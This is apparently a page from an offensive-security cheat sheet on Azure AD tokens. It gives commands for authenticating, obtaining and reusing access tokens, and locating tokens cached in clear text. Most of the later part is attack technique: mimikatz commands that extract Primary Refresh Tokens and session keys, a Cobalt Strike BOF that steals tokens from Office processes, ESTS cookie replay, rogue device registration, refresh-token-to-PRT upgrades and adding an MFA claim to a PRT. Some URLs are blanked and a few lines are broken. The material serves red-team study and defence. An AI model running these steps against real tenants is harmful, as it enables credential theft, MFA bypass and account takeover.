Skip to content

Azure AD Tokens


When you authenticate to the Microsoft Graph API in PowerShell/CLI, you will be using an application from a Microsoft's tenant.

Name Application ID
Microsoft Azure PowerShell 1950a258-227b-4e31-a9cf-717495945fc2
Microsoft Azure CLI 04b07795-8ddb-461a-bbee-02f9e1bf7b46
Portail Azure c44b4083-3bb0-49c1-b47d-974e53cbdf3c

After a successfull authentication, you will get an access token.

az cli

  • Login with credentials
    az login -u <username> -p <password>
    az login --service-principal -u <app-id> -p <password> --tenant <tenant-id>
  • Get token
    az account get-access-token
    az account get-access-token --resource-type aad-graph

Whoami equivalent: az ad signed-in-user show

Azure AD Powershell

  • Login with credentials
    $passwd = ConvertTo-SecureString "<PASSWORD>" -AsPlainText -Force
    $creds = New-Object System.Management.Automation.PSCredential("test@<TENANT NAME>", $passwd)
    Connect-AzureAD -Credential $creds

Az Powershell

  • Login with credentials
    $passwd = ConvertTo-SecureString "<PASSWORD>" -AsPlainText -Force
    $creds = New-Object System.Management.Automation.PSCredential ("<USERNAME>@<TENANT NAME>", $passwd)
    Connect-AzAccount -Credential $creds
  • Login with service principal secret
    $password = ConvertTo-SecureString '<SECRET>' -AsPlainText -Force
    $creds = New-Object System.Management.Automation.PSCredential('<APP-ID>', $password)
    Connect-AzAccount -ServicePrincipal -Credential $creds -Tenant 29sd87e56-a192-a934-bca3-0398471ab4e7d
  • Get token
    (Get-AzAccessToken -ResourceUrl
    Get-AzAccessToken -ResourceTypeName MSGraph

Microsoft Graph Powershell

  • Login with credentials
    Connect-MgGraph -Scopes "User.Read.All", "Group.ReadWrite.All"
  • Login with device code flow
    Connect-MgGraph -Scopes "User.Read.All", "Group.ReadWrite.All" -UseDeviceAuthentication

Whoami equivalent: Get-MgContext

External HTTP API

  • Login with credentials
  • Login with device code flow

    # paste this in a PowerShell console
    $body = @{
        "client_id" =     "1950a258-227b-4e31-a9cf-717495945fc2"!
        "resource" =      ""
    $UserAgent = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/ Safari/537.36"
    $Headers["User-Agent"] = $UserAgent
    $authResponse = Invoke-RestMethod `
        -UseBasicParsing `
        -Method Post `
        -Uri "" `
        -Headers $Headers `
        -Body $body
    # then browse to and use the device_code
    # finally execute this command to ask for tokens
        "client_id" =  "1950a258-227b-4e31-a9cf-717495945fc2"
        "grant_type" = "urn:ietf:params:oauth:grant-type:device_code"
        "code" =       $authResponse.device_code
    $Tokens = Invoke-RestMethod `
        -UseBasicParsing `
        -Method Post `
        -Uri "" `
        -Headers $Headers `
        -Body $body

  • Request an access token using a service principal password

    curl --location --request POST '<tenant-name>/oauth2/v2.0/token' \
    --header 'Content-Type: application/x-www-form-urlencoded' \
    --data-urlencode 'client_id=<client-id>' \
    --data-urlencode 'scope=' \
    --data-urlencode 'client_secret=<client-secret>' \
    --data-urlencode 'grant_type=client_credentials'

Internal HTTP API


Find IDENTITY_HEADER and IDENTITY_ENDPOINT from the environment variables: env

Most of the time, you want a token for one of these resources:


  • PowerShell

    curl "$IDENTITY_ENDPOINT?resource=" -H secret:$IDENTITY_HEADER
    curl "$IDENTITY_ENDPOINT?resource=" -H secret:$IDENTITY_HEADER

  • Azure Function (Python)
    import logging, os
    import azure.functions as func
    def main(req: func.HttpRequest) -> func.HttpResponse:'Python HTTP trigger function processed a request.')
        cmd = 'curl "%s?resource=" -H secret:%s' % (IDENTITY_ENDPOINT, IDENTITY_HEADER)
        val = os.popen(cmd).read()
        return func.HttpResponse(val, status_code=200)

Access Token

An access token is a type of security token issued by Azure Active Directory (Azure AD) that grants a user or application permission to access resources. These resources could be anything from APIs, web applications, data stored in Azure, or other services that are integrated with Azure AD for authentication and authorization.

Decode access tokens:

  • Use the access token with MgGraph
    # use the jwt
    $token = "eyJ0eXAiO..."
    $secure = $token | ConvertTo-SecureString -AsPlainText -Force
    Connect-MgGraph -AccessToken $secure
  • Use the access token with AzureAD
    Connect-AzureAD -AadAccessToken <access-token> -TenantId <tenant-id> -AccountId <account-id>
  • Use the access token with Az Powershell
    Connect-AzAccount -AccessToken <access-token> -AccountId <account-id>
    Connect-AzAccount -AccessToken <access-token> -GraphAccessToken <graph-access-token> -AccountId <account-id>
  • Use the access token with the API
    $Token = 'eyJ0eX..'
    $URI = ''
    # $URI = ''
    $RequestParams = @{
        Method = 'GET'
        Uri = $URI
        Headers = @{
            'Authorization' = "Bearer $Token"
    (Invoke-RestMethod @RequestParams).value 

Access Token Locations

Tokens are stored by default on the disk in you use Azure Cloud Shell. They canbe extracted by dumping the content of the storage account.

  • az cli

    • az cli stores access tokens in clear text in accessTokens.json in the directory C:\Users\<username>\.Azure
    • azureProfile.json in the same directory contains information about subscriptions.
  • Az PowerShell

    • Az PowerShell stores access tokens in clear text in TokenCache.dat in the directory C:\Users\<username>\.Azure
    • It also stores ServicePrincipalSecret in clear-text in AzureRmContext.json
    • Users can save tokens using Save-AzContext

Refresh Token

  • Requesting a token using credentials

ESTSAuthPersistent is only useful when a CA policy actually grants a persistent session. Otherwise, you should use ESTSAuth.

TokenTacticsV2> Get-AzureTokenFromESTSCookie -ESTSAuthCookie "0.AS8"
TokenTacticsV2> Get-AzureTokenFromESTSCookie -Client MSTeams -ESTSAuthCookie "0.AbcAp.."

Get a Refresh Token from Office process

  • trustedsec/CS-Remote-OPs-BOF
    load bofloader
    execute_bof /opt/CS-Remote-OPs-BOF/Remote/office_tokens/office_tokens.x64.o --format-string i  7324

FOCI Refresh Token

FOCI allows applications registered with Azure AD to share tokens, minimizing the need for separate authentications when a user accesses multiple applications that are part of the same "family."

Generate tokens

roadtx gettokens --refresh-token <refresh-token> -c <foci-id> -r 
roadtx gettokens --refresh-token <refresh-token> -c 04b07795-8ddb-461a-bbee-02f9e1bf7b46
scope               resource                                client                              
.default            04b07795-8ddb-461a-bbee-02f9e1bf7b46    04b07795-8ddb-461a-bbee-02f9e1bf7b46
                    1950a258-227b-4e31-a9cf-717495945fc2    1950a258-227b-4e31-a9cf-717495945fc2
Files.Read.All      d3590ed6-52b3-4102-aeff-aad2292ab01c    d3590ed6-52b3-4102-aeff-aad2292ab01c
Mail.ReadWrite.All             00b41c95-dab0-4487-9791-b9d2c32c80f2

Primary Refresh Token

A Primary Refresh Token (PRT) is a key artifact in the authentication and identity management process in Microsoft's Azure AD (Azure Active Directory) environment. The PRT is primarily used for maintaining a seamless sign-in experience on devices.

⚠ A PRT is valid for 90 days and is continuously renewed as long as the device is in use. However, it's only valid for 14 days if the device is not in use.

  • Use PRT token
    roadtx browserprtauth --prt <prt-token> --prt-sessionkey <session-key>
    roadtx browserprtauth --prt roadtx.prt -url

Extract PRT v1 - Pass-the-PRT

MimiKatz (version 2.2.0 and above) can be used to attack (hybrid) Azure AD joined machines for lateral movement attacks via the Primary Refresh Token (PRT) which is used for Azure AD SSO (single sign-on).

  • Use mimikatz to extract the PRT and session key
    mimikatz # privilege::debug
    mimikatz # token::elevate
    mimikatz # sekurlsa::cloudap
    mimikatz # sekurlsa::dpapi
    mimikatz # dpapi::cloudapkd /keyvalue:<key-value> /unprotect
    mimikatz # dpapi::cloudapkd /context:<context> /derivedkey:<derived-key> /Prt:<prt>
  • Use either roadtx or AADInternals to generate a new PRT token
    roadtx browserprtauth --prt <prt> --prt-sessionkey <clear-key> --keep-open -url
    PS> Import-Module C:\Tools\AADInternals\AADInternals.psd1
    PS AADInternals> $PRT_OF_USER = '...'
    PS AADInternals> while($PRT_OF_USER.Length % 4) {$PRT_OF_USER += "="}
    PS AADInternals> $PRT = [text.encoding]::UTF8.GetString([convert]::FromBase64String($PRT_OF_USER))
    PS AADInternals> $ClearKey = "XXYYZZ..."
    PS AADInternals> $SKey = [convert]::ToBase64String( [byte[]] ($ClearKey -replace '..', '0x$&,' -split ',' -ne ''))
    PS AADInternals> New-AADIntUserPRTToken -RefreshToken $PRT -SessionKey $SKey -GetNonce

Extract PRT on Device with TPM

  • No method known to date.

Request a PRT using the Refresh Flow

  • Request a nonce from AAD: roadrecon auth --prt-init -t <tenant-id>
  • Use dirkjanm/ROADtoken or wotwot563/aad_prt_bof to initiate a new PRT request.
  • roadrecon auth --prt-cookie <prt-cookie> --tokens-stdout --debug or roadtx gettoken --prt-cookie <x-ms-refreshtokencredential>
  • Then browse to with a cookie x-ms-RefreshTokenCredential:<output-from-roadrecon>
    Name: x-ms-RefreshTokenCredential
    Value: <Signed JWT>

⚠ Mark the cookie with the flags HTTPOnly and Secure.

Request a PRT with Hybrid Device


  • ADDS user credentials
  • hybrid environment (ADDS and Azure AD)

Use the user account to create a computer and request a PRT

  • Create a computer account in AD: impacket-addcomputer <domain>/<username>:<password> -dc-ip <dc-ip>
  • Configure the computer certificate in AD with dirkjanm/roadtools_hybrid: python -t '<machine-account$>' -u '<domain>\<machine-account$>' -p <machine-password>
  • Register the hybrid device in Azure AD with this certificate: roadtx hybriddevice -c '<machine-account>.pem' -k '<machine-account>.key' --sid '<device-sid>' -t '<aad-tenant-id>'
  • Get a PRT with device claim

    roadtx prt -c <hybrid-device-name>.pem -k <hybrid-device-name>.key -u <username>@h<domain> -p <password>
    roadtx browserprtauth --prt <prt-token> --prt-sessionkey <prt-session-key> --keep-open -url

Upgrade Refresh Token to PRT

  • Get correct token audience: roadtx gettokens -c 29d9ed98-a469-4536-ade2-f981bc1d605e -r --refresh-token file
  • Registering device: roadtx device -a register -n <device-name>
  • Request PRT roadtx prt --refresh-token <refresh-token> -c <device-name>.pem -k <device-name>.key
  • Use a PRT: roadtx browserprtauth --prt <prt-token> --prt-sessionkey <prt-session-key> --keep-open -url

Enriching a PRT with MFA claim

  • Request a special refresh token: roadtx prtenrich -u username@domain
  • Request a PRT with MFA claim: roadtx prt -r <refreshtoken> -c <device>.pem -k <device>.key